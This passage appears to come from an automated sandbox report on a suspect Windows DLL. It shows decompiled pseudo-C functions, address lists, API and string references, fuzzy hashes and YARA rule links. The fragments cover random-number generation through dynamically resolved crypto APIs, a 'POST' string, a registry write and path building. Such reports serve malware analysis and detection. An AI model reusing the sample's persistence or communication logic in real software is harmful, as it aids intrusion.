									if( *((intOrPtr*)(_t176 + 0x14))() != 0) {
										goto L19;
									}
									goto L18;
								} else {
									GetLastError();
									L23:
									_t164 =  *0x6d80e6a4; // 0x0
									 *((intOrPtr*)(_t164 + 8))(_t186);
									_t186 = 0;
									goto L24;
								}
							} else {
								GetLastError();
								L24:
								_t166 =  *0x6d80e6a4; // 0x0
								 *((intOrPtr*)(_t166 + 8))(_t213);
								_t213 = 0;
								goto L25;
							}
						}
						GetLastError();
						L25:
						_t204 = _t218;
						_t209 = _v20 + 1;
						_v20 = _t209;
					} while (_t209 < 2);
					_v8 = _t218;
					if(_t204 != 0) {
						goto L28;
					}
					_t220 = 0xfffffffe;
					goto L33;
				}
				_t183 = 0xfffffffc;
				return _t183;
			}

0x6d7fe6b3
0x6d7fe6c5
0x6d7fe6ce
0x6d7fe6d8
0x6d7fe6dc
0x6d7fe6ed
0x6d7fe704
0x6d7fe711
0x6d7fe71e
0x6d7fe72b
0x6d7fe72e
0x6d7fe733
0x6d7fe738
0x6d7fe73a
0x6d7fe742
0x6d7fe74d
0x6d7fe754
0x6d7fe760
0x6d7fe763
0x6d7fe771
0x6d7fe774
0x6d7fe77a
0x6d7fe77b
0x6d7fe77d
0x6d7fe786
0x6d7fe787
0x6d7fe78c
0x6d7fe792
0x6d7fe79c
0x6d7fe79e
0x6d7fe7a3
0x6d7fe7a3
0x6d7fe7b2
0x6d7fe7c1
0x6d7fe7c5
0x6d7fe7d4
0x6d7fe7d7
0x6d7fe7dc
0x6d7fe7e0
0x6d7fe7e7
0x6d7fe7ee
0x6d7fe7f6
0x6d7fe7fe
0x6d7fe805
0x6d7fe80d
0x6d7fe815
0x6d7fe81c
0x6d7fe824
0x6d7fe82c
0x6d7fe841
0x6d7fe84e
0x6d7fe850
0x6d7fe855
0x6d7fe855
0x6d7fe85c
0x6d7fe86d
0x6d7fe872
0x6d7fe874
0x6d7fe874
0x6d7fe888
0x6d7fe89a
0x6d7fe89c
0x6d7fe89f
0x6d7fe8a4
0x6d7fe8a4
0x6d7fe8ab
0x6d7fe8ba
0x6d7fe8be
0x6d7fe8fc
0x6d7fe901
0x6d7fe909
0x6d7fe90e
0x6d7fe919
0x6d7fe91f
0x6d7fe929
0x6d7fe92c
0x6d7fe935
0x6d7fe93a
0x6d7fe93a
0x6d7fe943
0x6d7fe98c
0x6d7fe98e
0x6d7fe995
0x6d7fe996
0x6d7fe999
0x6d7fe99f
0x6d7fe9a3
0x6d7fe9a4
0x6d7fe9a9
0x6d7fe9ab
0x6d7fe9b1
0x6d7fe9c6
0x6d7fe9ce
0x6d7fea03
0x6d7fea08
0x6d7fea0d
0x00000000
0x6d7fea0f
0x6d7fe9d0
0x6d7fe9d2
0x6d7fe9d2
0x6d7fe9db
0x6d7fe9de
0x6d7fe9e0
0x6d7fe9e2
0x6d7fe9e8
0x6d7fe9e8
0x6d7fe9ed
0x6d7fe9ef
0x6d7fe9f6
0x6d7fe9f6
0x00000000
0x6d7fe9f9
0x6d7fe9b3
0x6d7fe9bb
0x00000000
0x6d7fe945
0x6d7fe945
0x6d7fe94b
0x6d7fe951
0x6d7fe954
0x00000000
0x6d7fe954
0x6d7fe943
0x6d7fe8c0
0x6d7fe8c6
0x6d7fe8ca
0x6d7fe8cb
0x6d7fe8d0
0x6d7fe8d2
0x6d7fe8d8
0x6d7fe8f6
0x6d7fe8f6
0x00000000
0x6d7fe8f6
0x6d7fe8da
0x6d7fe8e4
0x6d7fe8e6
0x6d7fe8e7
0x6d7fe8ec
0x6d7fe8ee
0x6d7fe8f4
0x00000000
0x00000000
0x00000000
0x6d7fe8ad
0x6d7fe8ad
0x6d7fe956
0x6d7fe956
0x6d7fe95c
0x6d7fe95f
0x00000000
0x6d7fe95f
0x6d7fe85e
0x6d7fe85e
0x6d7fe961
0x6d7fe961
0x6d7fe967
0x6d7fe96a
0x00000000
0x6d7fe96a
0x6d7fe85c
0x6d7fe7c7
0x6d7fe96c
0x6d7fe96f
0x6d7fe971
0x6d7fe974
0x6d7fe977
0x6d7fe980
0x6d7fe985
0x00000000
0x00000000
0x6d7fe989
0x00000000
0x6d7fe989
0x6d7fe796
0x00000000

APIs

memset.MSVCRT ref: 6D7FE6DC
memset.MSVCRT ref: 6D7FE6ED
memset.MSVCRT ref: 6D7FE742
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,000007D0,00000000), ref: 6D7FE7C7

Strings

POST, xrefs: 6D7FE88D

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$ErrorLast
String ID: POST
API String ID: 2570506013-1814004025
Opcode ID: 779669e060bfda691d09e27a16836e1a395bcc9872546909d4133726167fba2c
Instruction ID: b53cb69b8cc34e107cf072932b333587a64d54c6cc857b34c2b96450c538fe62
Opcode Fuzzy Hash: 779669e060bfda691d09e27a16836e1a395bcc9872546909d4133726167fba2c
Instruction Fuzzy Hash: 70B16FB1900218AFDB25DF94DD88BAF7BB8EF49314F10406AF615E7290DB749A41CF62

Uniqueness

Uniqueness Score: -1.00%

Function 6D8016F0, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 70
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E6D8016F0(signed int* _a4) {
				char _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				char _v20;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t17;
				void* _t22;
				intOrPtr* _t28;
				signed int _t29;
				signed int _t30;
				struct HINSTANCE__* _t32;
				void* _t34;

				_t30 = 0;
				_v8 = 0;
				_t32 = GetModuleHandleA("advapi32.dll");
				if(_t32 == 0) {
					L9:
					return 1;
				}
				_t16 = GetProcAddress(_t32, "CryptAcquireContextA");
				_v12 = _t16;
				if(_t16 == 0) {
					goto L9;
				}
				_t17 = GetProcAddress(_t32, "CryptGenRandom");
				_v16 = _t17;
				if(_t17 == 0) {
					goto L9;
				}
				_t28 = GetProcAddress(_t32, "CryptReleaseContext");
				if(_t28 == 0) {
					goto L9;
				}
				_push(0xf0000000);
				_push(1);
				_push(0);
				_push(0);
				_push( &_v8);
				if(_v12() == 0) {
					goto L9;
				}
				_t22 = _v16(_v8, 4,  &_v20);
				 *_t28(_v8, 0);
				if(_t22 == 0) {
					goto L9;
				}
				_t29 = 0;
				do {
					_t30 = _t30 << 0x00000008 |  *(_t34 + _t29 - 0x10) & 0x000000ff;
					_t29 = _t29 + 1;
				} while (_t29 < 4);
				 *_a4 = _t30;
				return 0;
			}

0x6d8016f9
0x6d801700
0x6d801709
0x6d80170d
0x6d801788
0x00000000
0x6d80178a
0x6d80171b
0x6d80171d
0x6d801722
0x00000000
0x00000000
0x6d80172a
0x6d80172c
0x6d801731
0x00000000
0x00000000
0x6d80173b
0x6d80173f
0x00000000
0x00000000
0x6d801741
0x6d801746
0x6d801748
0x6d801749
0x6d80174d
0x6d801753
0x00000000
0x00000000
0x6d80175e
0x6d801767
0x6d80176b
0x00000000
0x00000000
0x6d80176d
0x6d80176f
0x6d801777
0x6d801779
0x6d80177a
0x6d801782
0x00000000

APIs

GetModuleHandleA.KERNEL32(advapi32.dll,00000000,00000000,00000000,6D7F763B,?,?,00000000,?), ref: 6D801703
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,00000000,?), ref: 6D80171B
GetProcAddress.KERNEL32(00000000,CryptGenRandom,?,?,00000000,?), ref: 6D80172A
GetProcAddress.KERNEL32(00000000,CryptReleaseContext,?,?,00000000,?), ref: 6D801739

Strings

CryptGenRandom, xrefs: 6D801724
CryptReleaseContext, xrefs: 6D801733
advapi32.dll, xrefs: 6D8016FB
CryptAcquireContextA, xrefs: 6D801715

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: CryptAcquireContextA$CryptGenRandom$CryptReleaseContext$advapi32.dll
API String ID: 667068680-129414566
Opcode ID: e605a7ac5fd293494a52117af7b4efd8a825760ead90f7d3d2c036abc26cc220
Instruction ID: 09b21cddbbbe2bb40d7a7e003c826288197c60f58621b3613d2125d1be88c1ab
Opcode Fuzzy Hash: e605a7ac5fd293494a52117af7b4efd8a825760ead90f7d3d2c036abc26cc220
Instruction Fuzzy Hash: A011C671A4061ABBEB116ABA8C8CEBF7BFCAF55654F400864F920E2205D730C9418BA5

Uniqueness

Uniqueness Score: -1.00%

Function 6D80215A, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 98
stringCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6D80215A(char* _a4, intOrPtr _a8, long long _a12, signed int _a20) {
				signed int _t12;
				signed int _t13;
				int _t15;
				char* _t24;
				char* _t26;
				char* _t28;
				char* _t29;
				signed int _t40;
				char* _t43;
				char* _t45;
				long long* _t47;

				_t12 = _a20;
				if(_t12 == 0) {
					_t12 = 0x11;
				}
				_t26 = _a4;
				_push(_t30);
				 *_t47 = _a12;
				_push(_t12);
				_push("%.*g");
				_push(_a8);
				_push(_t26);
				L6D8022BD();
				_t40 = _t12;
				if(_t40 < 0 || _t40 >= _a8) {
					L19:
					_t13 = _t12 | 0xffffffff;
					goto L20;
				} else {
					L6D802305();
					_t15 =  *((intOrPtr*)( *_t12));
					if(_t15 != 0x2e) {
						_t24 = strchr(_t26, _t15);
						if(_t24 != 0) {
							 *_t24 = 0x2e;
						}
					}
					if(strchr(_t26, 0x2e) != 0 || strchr(_t26, 0x65) != 0) {
						L11:
						_t43 = strchr(_t26, 0x65);
						_t28 = _t43;
						if(_t43 == 0) {
							L18:
							_t13 = _t40;
							L20:
							return _t13;
						}
						_t45 = _t43 + 1;
						_t29 = _t28 + 2;
						if( *_t45 == 0x2d) {
							_t45 = _t29;
						}
						while( *_t29 == 0x30) {
							_t29 = _t29 + 1;
						}
						if(_t29 != _t45) {
							E6D7F86E7(_t45, _t29, _t40 - _t29 + _a4);
							_t40 = _t40 + _t45 - _t29;
						}
						goto L18;
					} else {
						_t6 = _t40 + 3; // 0x6d8009ea
						_t12 = _t6;
						if(_t12 >= _a8) {
							goto L19;
						}
						_t26[_t40] = 0x302e;
						( &(_t26[2]))[_t40] = 0;
						_t40 = _t40 + 2;
						goto L11;
					}
				}
			}

0x6d80215d
0x6d802162
0x6d802166
0x6d802166
0x6d80216b
0x6d802170
0x6d802171
0x6d802174
0x6d802175
0x6d80217a
0x6d80217d
0x6d80217e
0x6d802183
0x6d80218a
0x6d802230
0x6d802230
0x00000000
0x6d802199
0x6d802199
0x6d8021a0
0x6d8021a4
0x6d8021ab
0x6d8021b4
0x6d8021b6
0x6d8021b6
0x6d8021b4
0x6d8021c5
0x6d8021eb
0x6d8021f4
0x6d8021f6
0x6d8021fc
0x6d80222b
0x6d80222b
0x6d802233
0x6d802236
0x6d802236
0x6d8021fe
0x6d8021ff
0x6d802205
0x6d802207
0x6d802207
0x6d80220c
0x6d80220b
0x6d80220b
0x6d802213
0x6d80221f
0x6d802229
0x6d802229
0x00000000
0x6d8021d5
0x6d8021d5
0x6d8021d5
0x6d8021db
0x00000000
0x00000000
0x6d8021dd
0x6d8021e3
0x6d8021e8
0x00000000
0x6d8021e8
0x6d8021c5

APIs

_snprintf.MSVCRT ref: 6D80217E
localeconv.MSVCRT ref: 6D802199
strchr.MSVCRT ref: 6D8021AB
strchr.MSVCRT ref: 6D8021BC
strchr.MSVCRT ref: 6D8021CA
strchr.MSVCRT ref: 6D8021EF

Strings

%.*g, xrefs: 6D802175

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: strchr$_snprintflocaleconv
String ID: %.*g
API String ID: 1910550357-952554281
Opcode ID: 36c1d1072d7ef1f9195e9a2f816502093db943becf93fcdc013c96721dcef9d9
Instruction ID: 6fc4cb7180cefbb19a8dc9b3b0422f18f510edbf1728abe411c2155bd3156635
Opcode Fuzzy Hash: 36c1d1072d7ef1f9195e9a2f816502093db943becf93fcdc013c96721dcef9d9
Instruction Fuzzy Hash: 02212D661486166AD3314AACECCDB67B79CDF05334F950D16FA508A281D7FDE94143A0

Uniqueness

Uniqueness Score: -1.00%

Function 6D8002EA, Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 445COMMON

Download Yara Rule

APIs

_snprintf.MSVCRT ref: 6D80036A
qsort.MSVCRT ref: 6D8005E8

Strings

%I64d, xrefs: 6D80035C
null, xrefs: 6D80032F
false, xrefs: 6D80034D
true, xrefs: 6D800341

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: _snprintfqsort
String ID: %I64d$false$null$true
API String ID: 756996078-4285102228
Opcode ID: 9ed01029b53c74a049acd960a14f09787fbe6db19efed3d89178c4cd989c6157
Instruction ID: ef034f2422681a639692ac0f5db71de0ae43334c27beec3c2ca32713f712a069
Opcode Fuzzy Hash: 9ed01029b53c74a049acd960a14f09787fbe6db19efed3d89178c4cd989c6157
Instruction Fuzzy Hash: FCE1717150820ABFEF129F6ACC49EAF3B7DEF45744F018829FE1496241E731D9608BA5

Uniqueness

Uniqueness Score: -1.00%

Function 6D7F49FE, Relevance: 9.3, APIs: 6, Instructions: 285
stringCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6D7F49FE(void* __ecx, void* __edx, void* __fp0, intOrPtr* _a4, WCHAR* _a8, signed int _a12) {
				char _v516;
				void _v1044;
				char _v1076;
				signed int _v1080;
				signed int _v1096;
				WCHAR* _v1100;
				intOrPtr _v1104;
				signed int _v1108;
				intOrPtr _v1112;
				intOrPtr _v1116;
				char _v1144;
				char _v1148;
				void* __esi;
				intOrPtr _t66;
				intOrPtr _t73;
				signed int _t75;
				intOrPtr _t76;
				signed int _t81;
				WCHAR* _t87;
				void* _t89;
				signed int _t90;
				signed int _t91;
				signed int _t93;
				signed int _t94;
				WCHAR* _t96;
				intOrPtr _t106;
				intOrPtr _t107;
				void* _t108;
				intOrPtr _t109;
				signed char _t116;
				WCHAR* _t118;
				void* _t122;
				signed int _t123;
				intOrPtr _t125;
				void* _t128;
				void* _t129;
				WCHAR* _t130;
				void* _t134;
				void* _t141;
				void* _t143;
				WCHAR* _t145;
				signed int _t153;
				void* _t154;
				void* _t178;
				signed int _t180;
				void* _t181;
				void* _t183;
				void* _t187;
				signed int _t188;
				WCHAR* _t190;
				signed int _t191;
				signed int _t192;
				intOrPtr* _t194;
				signed int _t196;
				void* _t199;
				void* _t200;
				void* _t201;
				void* _t202;
				intOrPtr* _t203;
				void* _t208;

				_t208 = __fp0;
				_push(_t191);
				_t128 = __edx;
				_t187 = __ecx;
				_t192 = _t191 | 0xffffffff;
				memset( &_v1044, 0, 0x20c);
				_t199 = (_t196 & 0xfffffff8) - 0x454 + 0xc;
				_v1108 = 1;
				if(_t187 != 0) {
					_t123 =  *0x6d80e688; // 0x2910590
					_t3 = _t123 + 0x110; // 0x298fd98
					_t125 =  *0x6d80e68c; // 0x298fc68
					_v1116 =  *((intOrPtr*)(_t125 + 0x68))(_t187,  *((intOrPtr*)( *_t3)));
				}
				if(E6D7FBBCF(_t187) != 0) {
					L4:
					_t134 = _t128;
					_t66 = E6D7FB7EA(_t134,  &_v516);
					_push(_t134);
					_v1104 = _t66;
					E6D7FB6BF(_t66,  &_v1076, _t206, _t208);
					_t129 = E6D7F49BA( &_v1076,  &_v1076, _t206);
					_t141 = E6D7FD442( &_v1076, E6D7FC3BB( &_v1076), 0);
					E6D7FB8CC(_t141,  &_v1100, _t208);
					_t175 =  &_v1076;
					_t73 = E6D7F2C82(_t187,  &_v1076, _t206, _t208);
					_v1112 = _t73;
					_t143 = _t141;
					if(_t73 != 0) {
						_push(0);
						_push(_t129);
						_push("\\");
						_t130 = E6D7F92C6(_t73);
						_t200 = _t199 + 0x10;
						_t75 =  *0x6d80e688; // 0x2910590
						__eflags =  *((intOrPtr*)(_t75 + 0x214)) - 3;
						if( *((intOrPtr*)(_t75 + 0x214)) != 3) {
							L12:
							__eflags = _v1108;
							if(__eflags != 0) {
								_t76 = E6D7F91C4(_v1112);
								_t145 = _t130;
								 *0x6d80e740 = _t76;
								 *0x6d80e738 = E6D7F91C4(_t145);
								L17:
								_push(_t145);
								_t188 = E6D7F9B24( &_v1044, _t187, _t208, _v1104,  &_v1080,  &_v1100);
								_t201 = _t200 + 0x10;
								__eflags = _t188;
								if(_t188 == 0) {
									goto L41;
								}
								_push(0x6d80b9c6);
								E6D7F9F13(0xe);
								E6D7F9F37(_t188, _t208, _t130);
								_t194 = _a4;
								_v1096 = _v1096 & 0x00000000;
								_push(2);
								_v1100 =  *_t194;
								_push(8);
								_push( &_v1100);
								_t178 = 0xb;
								E6D7FA076(_t188, _t178, _t208);
								_t179 =  *(_t194 + 0x10);
								_t202 = _t201 + 0xc;
								__eflags =  *(_t194 + 0x10);
								if( *(_t194 + 0x10) != 0) {
									E6D7FA3D8(_t188, _t179, _t208);
								}
								_t180 =  *(_t194 + 0xc);
								__eflags = _t180;
								if(_t180 != 0) {
									E6D7FA3D8(_t188, _t180, _t208);
								}
								_t87 = E6D7F97ED(0);
								_push(2);
								_v1100 = _t87;
								_t153 = _t188;
								_push(8);
								_v1096 = _t180;
								_push( &_v1100);
								_t181 = 2;
								_t89 = E6D7FA076(_t153, _t181, _t208);
								_t203 = _t202 + 0xc;
								__eflags = _v1108;
								if(_v1108 == 0) {
									_t153 =  *0x6d80e688; // 0x2910590
									__eflags =  *((intOrPtr*)(_t153 + 0xa4)) - 1;
									if(__eflags != 0) {
										_t90 = E6D7FFC57(_t89, _t181, _t208, 0, _t130, 0);
										_t203 = _t203 + 0xc;
										goto L26;
									}
									_t153 = _t153 + 0x228;
									goto L25;
								} else {
									_t91 =  *0x6d80e688; // 0x2910590
									__eflags =  *((intOrPtr*)(_t91 + 0xa4)) - 1;
									if(__eflags != 0) {
										L32:
										__eflags =  *(_t91 + 0x1898) & 0x00000082;
										if(( *(_t91 + 0x1898) & 0x00000082) != 0) {
											_t183 = 0x64;
											E6D7FE280(_t183);
										}
										E6D7F52B3( &_v1076, _t208);
										_t190 = _a8;
										_t154 = _t153;
										__eflags = _t190;
										if(_t190 != 0) {
											_t94 =  *0x6d80e688; // 0x2910590
											__eflags =  *((intOrPtr*)(_t94 + 0xa0)) - 1;
											if( *((intOrPtr*)(_t94 + 0xa0)) != 1) {
												lstrcpyW(_t190, _t130);
											} else {
												_t96 = E6D7F109A(_t154, 0x228);
												_v1100 = _t96;
												lstrcpyW(_t190, _t96);
												E6D7F85B6( &_v1100);
												 *_t203 = "\"";
												lstrcatW(_t190, ??);
												lstrcatW(_t190, _t130);
												lstrcatW(_t190, "\"");
											}
										}
										_t93 = _a12;
										__eflags = _t93;
										if(_t93 != 0) {
											 *_t93 = _v1104;
										}
										_t192 = 0;
										__eflags = 0;
										goto L41;
									}
									_t51 = _t91 + 0x228; // 0x29107b8
									_t153 = _t51;
									L25:
									_t90 = E6D7F5532(_t153, _t130, __eflags);
									L26:
									__eflags = _t90;
									if(_t90 >= 0) {
										_t91 =  *0x6d80e688; // 0x2910590
										goto L32;
									}
									_push(0xfffffffd);
									L6:
									_pop(_t192);
									goto L41;
								}
							}
							_t106 = E6D7FC2D4(_v1104, __eflags);
							_v1112 = _t106;
							_t107 =  *0x6d80e684; // 0x298faa0
							_t108 =  *((intOrPtr*)(_t107 + 0xd0))(_t106, 0x80003, 6, 0xff, 0x400, 0x400, 0, 0);
							__eflags = _t108 - _t192;
							if(_t108 != _t192) {
								_t109 =  *0x6d80e684; // 0x298faa0
								 *((intOrPtr*)(_t109 + 0x30))();
								E6D7F85FB( &_v1148, _t192);
								_t145 = _t108;
								goto L17;
							}
							E6D7F85FB( &_v1144, _t192);
							_t81 = 1;
							goto L42;
						}
						_t17 = _t75 + 0x1898; // 0x0
						_t116 =  *_t17;
						__eflags = _t116 & 0x00000004;
						if((_t116 & 0x00000004) == 0) {
							__eflags = _t116;
							if(_t116 != 0) {
								goto L12;
							}
							L11:
							E6D7FE2C8(_v1112, _t175);
							goto L12;
						}
						_v1080 = _v1080 & 0x00000000;
						_t118 = E6D7F95C2(_t143, 0x879);
						_v1100 = _t118;
						_t175 = _t118;
						E6D7FC02E(0x80000002, _t118, _v1112, 4,  &_v1080, 4);
						E6D7F85B6( &_v1100);
						_t200 = _t200 + 0x14;
						goto L11;
					}
					_push(0xfffffffe);
					goto L6;
				} else {
					_t122 = E6D7F2B97( &_v1044, _t192, 0x105);
					_t206 = _t122;
					if(_t122 == 0) {
						L41:
						_t81 = _t192;
						L42:
						return _t81;
					}
					goto L4;
				}
			}

0x6d7f49fe
0x6d7f4a0b
0x6d7f4a16
0x6d7f4a1b
0x6d7f4a1d
0x6d7f4a20
0x6d7f4a25
0x6d7f4a28
0x6d7f4a32
0x6d7f4a34
0x6d7f4a39
0x6d7f4a41
0x6d7f4a4a
0x6d7f4a4a
0x6d7f4a57
0x6d7f4a72
0x6d7f4a79
0x6d7f4a7b
0x6d7f4a80
0x6d7f4a85
0x6d7f4a8b
0x6d7f4a9a
0x6d7f4ab9
0x6d7f4abb
0x6d7f4ac1
0x6d7f4ac7
0x6d7f4acc
0x6d7f4ad0
0x6d7f4ad3
0x6d7f4add
0x6d7f4adf
0x6d7f4ae0
0x6d7f4aeb
0x6d7f4aed
0x6d7f4af0
0x6d7f4af5
0x6d7f4afc
0x6d7f4b51
0x6d7f4b51
0x6d7f4b56
0x6d7f4bbd
0x6d7f4bc2
0x6d7f4bc4
0x6d7f4bce
0x6d7f4bd3
0x6d7f4bd3
0x6d7f4bed
0x6d7f4bef
0x6d7f4bf2
0x6d7f4bf4
0x00000000
0x00000000
0x6d7f4bfa
0x6d7f4c04
0x6d7f4c0d
0x6d7f4c12
0x6d7f4c15
0x6d7f4c1b
0x6d7f4c21
0x6d7f4c29
0x6d7f4c2b
0x6d7f4c2e
0x6d7f4c2f
0x6d7f4c34
0x6d7f4c37
0x6d7f4c3a
0x6d7f4c3c
0x6d7f4c40
0x6d7f4c40
0x6d7f4c45
0x6d7f4c48
0x6d7f4c4a
0x6d7f4c4e
0x6d7f4c4e
0x6d7f4c55
0x6d7f4c5a
0x6d7f4c5c
0x6d7f4c60
0x6d7f4c62
0x6d7f4c68
0x6d7f4c6c
0x6d7f4c6f
0x6d7f4c70
0x6d7f4c75
0x6d7f4c78
0x6d7f4c7d
0x6d7f4ca5
0x6d7f4cab
0x6d7f4cb2
0x6d7f4cc1
0x6d7f4cc6
0x00000000
0x6d7f4cc6
0x6d7f4cb4
0x00000000
0x6d7f4c7f
0x6d7f4c7f
0x6d7f4c84
0x6d7f4c8b
0x6d7f4cd0
0x6d7f4cd0
0x6d7f4cd7
0x6d7f4cdb
0x6d7f4cdc
0x6d7f4cdc
0x6d7f4ce6
0x6d7f4ceb
0x6d7f4cee
0x6d7f4cef
0x6d7f4cf1
0x6d7f4cf3
0x6d7f4cf8
0x6d7f4cff
0x6d7f4d42
0x6d7f4d01
0x6d7f4d06
0x6d7f4d0e
0x6d7f4d12
0x6d7f4d1d
0x6d7f4d28
0x6d7f4d30
0x6d7f4d34
0x6d7f4d3c
0x6d7f4d3c
0x6d7f4cff
0x6d7f4d48
0x6d7f4d4b
0x6d7f4d4d
0x6d7f4d53
0x6d7f4d53
0x6d7f4d55
0x6d7f4d55
0x00000000
0x6d7f4d55
0x6d7f4c8d
0x6d7f4c8d
0x6d7f4c93
0x6d7f4c95
0x6d7f4c9a
0x6d7f4c9a
0x6d7f4c9c
0x6d7f4ccb
0x00000000
0x6d7f4ccb
0x6d7f4c9e
0x6d7f4ad7
0x6d7f4ad7
0x00000000
0x6d7f4ad7
0x6d7f4c7d
0x6d7f4b5c
0x6d7f4b6a
0x6d7f4b7d
0x6d7f4b82
0x6d7f4b88
0x6d7f4b8a
0x6d7f4ba2
0x6d7f4ba7
0x6d7f4bb0
0x6d7f4bb6
0x00000000
0x6d7f4bb6
0x6d7f4b92
0x6d7f4b9b
0x00000000
0x6d7f4b9b
0x6d7f4afe
0x6d7f4afe
0x6d7f4b04
0x6d7f4b06
0x6d7f4b44
0x6d7f4b46
0x00000000
0x00000000
0x6d7f4b48
0x6d7f4b4c
0x00000000
0x6d7f4b4c
0x6d7f4b08
0x6d7f4b12
0x6d7f4b1e
0x6d7f4b29
0x6d7f4b30
0x6d7f4b3a
0x6d7f4b3f
0x00000000
0x6d7f4b3f
0x6d7f4ad5
0x00000000
0x6d7f4a59
0x6d7f4a64
0x6d7f4a6a
0x6d7f4a6c
0x6d7f4d57
0x6d7f4d57
0x6d7f4d59
0x6d7f4d5f
0x6d7f4d5f
0x00000000
0x6d7f4a6c

APIs

memset.MSVCRT ref: 6D7F4A20
lstrcpyW.KERNEL32(00000000,00000000), ref: 6D7F4D12
lstrcatW.KERNEL32 ref: 6D7F4D30
lstrcatW.KERNEL32 ref: 6D7F4D34
lstrcatW.KERNEL32 ref: 6D7F4D3C
lstrcpyW.KERNEL32(00000000,00000000), ref: 6D7F4D42

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcat$lstrcpy$memset
String ID:
API String ID: 1985475764-0
Opcode ID: 019df1bec0560ee7994bc6e491a63106750d72bb2cb129af9d7dfd47bb75899c
Instruction ID: f3a1e6ad6e6a69f520cdb79a8ace1c2753185c047ce87bf05f9f7b8e97d1df51
Opcode Fuzzy Hash: 019df1bec0560ee7994bc6e491a63106750d72bb2cb129af9d7dfd47bb75899c
Instruction Fuzzy Hash: 7F91C2716083019BD725DF24CB49B7B73E5AF89328F01492EF6558B390EB709906CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6D7FD78A, Relevance: 9.1, APIs: 6, Instructions: 87memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 6D7FD79E
SysAllocString.OLEAUT32(?), ref: 6D7FD7A6
SysAllocString.OLEAUT32(00000000), ref: 6D7FD7BA
SysFreeString.OLEAUT32(?), ref: 6D7FD835
SysFreeString.OLEAUT32(?), ref: 6D7FD838
SysFreeString.OLEAUT32(?), ref: 6D7FD83D

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: cfd91558e6b645b226f75c8251ecac5432c490ada488e8e5e78a7b7bf8efdff5
Instruction ID: fd00cd461e0fbf105c792b2d2bcef687ac24cf9e95419f9fc3174c2ff9cf10f5
Opcode Fuzzy Hash: cfd91558e6b645b226f75c8251ecac5432c490ada488e8e5e78a7b7bf8efdff5
Instruction Fuzzy Hash: 1F212D75D00219BFDB10DFA5CD88DAFBBBCEF48354B14446AE505A7240DB70AE01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D80082F, Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 158COMMON

Download Yara Rule

Strings

\u%04X\u%04X, xrefs: 6D800988
\u%04X, xrefs: 6D800949
@, xrefs: 6D80089D

Memory Dump Source

Source File: 00000004.00000002.508288132.000000006D7F1000.00000020.00020000.sdmp, Offset: 6D7F0000, based on PE: true

Associated: 00000004.00000002.508283147.000000006D7F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508299007.000000006D808000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.508304484.000000006D80D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.508309752.000000006D80F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: @$\u%04X$\u%04X\u%04X
